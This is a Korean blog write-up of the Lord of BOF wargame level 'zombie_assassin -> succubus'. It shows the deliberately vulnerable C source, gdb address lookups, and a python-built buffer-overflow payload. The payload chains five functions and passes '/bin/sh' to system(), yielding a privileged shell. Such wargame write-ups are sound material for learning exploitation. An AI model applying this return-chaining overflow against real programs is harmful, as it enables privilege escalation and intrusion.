본문 바로가기
# write-up/- Lord of Bof

[LOB] zombie_assassin -> succubus

by ddddh 2016. 12. 8.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


이 문제는 text segment의 DO, GYE, GUL, YUT, MO를 차례대로 실행해 MO의 system()함수로 succubus의 권한을 얻는 것이다.


"RET Chain", 즉 연쇄작용을 일으켜 차례대로 실행해주면 된다.


우선 각 함수들의 주소를 알아야 한다.


cp를 통해 복사한 파일을 gdb로 주소를 구해준다.


[zombie_assassin@localhost zombie_assassin]$ cp ./succubus ./cuccubus

[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus 

(gdb) set disassembly-flavor intel

(gdb) disassemble DO
Dump of assembler code for function DO:
0x80487ec <DO>: push   %ebp

(gdb) disassemble GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>: push   %ebp

(gdb) disassemble GUL
Dump of assembler code for function GUL:
0x804878c <GUL>: push   %ebp

(gdb) disassemble YUT
Dump of assembler code for function YUT:
0x804875c <YUT>: push   %ebp

(gdb) disassemble MO 
Dump of assembler code for function MO:
0x8048724 <MO>: push   %ebp


system() 함수의 인자로 "/bin/sh" 문자열 주소를 전달할 것이다.


libc 영역은 사용하지 못하니 인자를 통해 문자열을 전달해야 된다.


우선은 segment fault를 일으켜 core dump를 만든 뒤 분석한다.


[zombie_assassin@localhost zombie_assassin]$ ./cuccubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"CCCCCCCCCCCCCCCCCCCCC"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCC

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus core 

(gdb) x/80wx $esp 
~~~
0xbffffa94:     0x42424242     0x43434343     0x43434343     0x43434343
0xbffffaa4:     0x43434343     0x43434343     0x08040043     0x0804894c
~~~


"AAAA"는 MO()함수의 return 주소 자리다. (아무 값을 전달해도 상관없다.)


"BBBB"는 system()함수의 인자가 되는 부분이며, "CCCCCCCCCC"를 "/bin/sh"로 대체하여 "CCCCCCCCCC"의 주소를 "BBBB"자리에 넣어준다.


[zombie_assassin@localhost zombie_assassin]$ ./succubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA󽮢in/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] giant -> assassin  (0) 2016.12.07
[LOB] bugbear -> giant  (0) 2016.12.06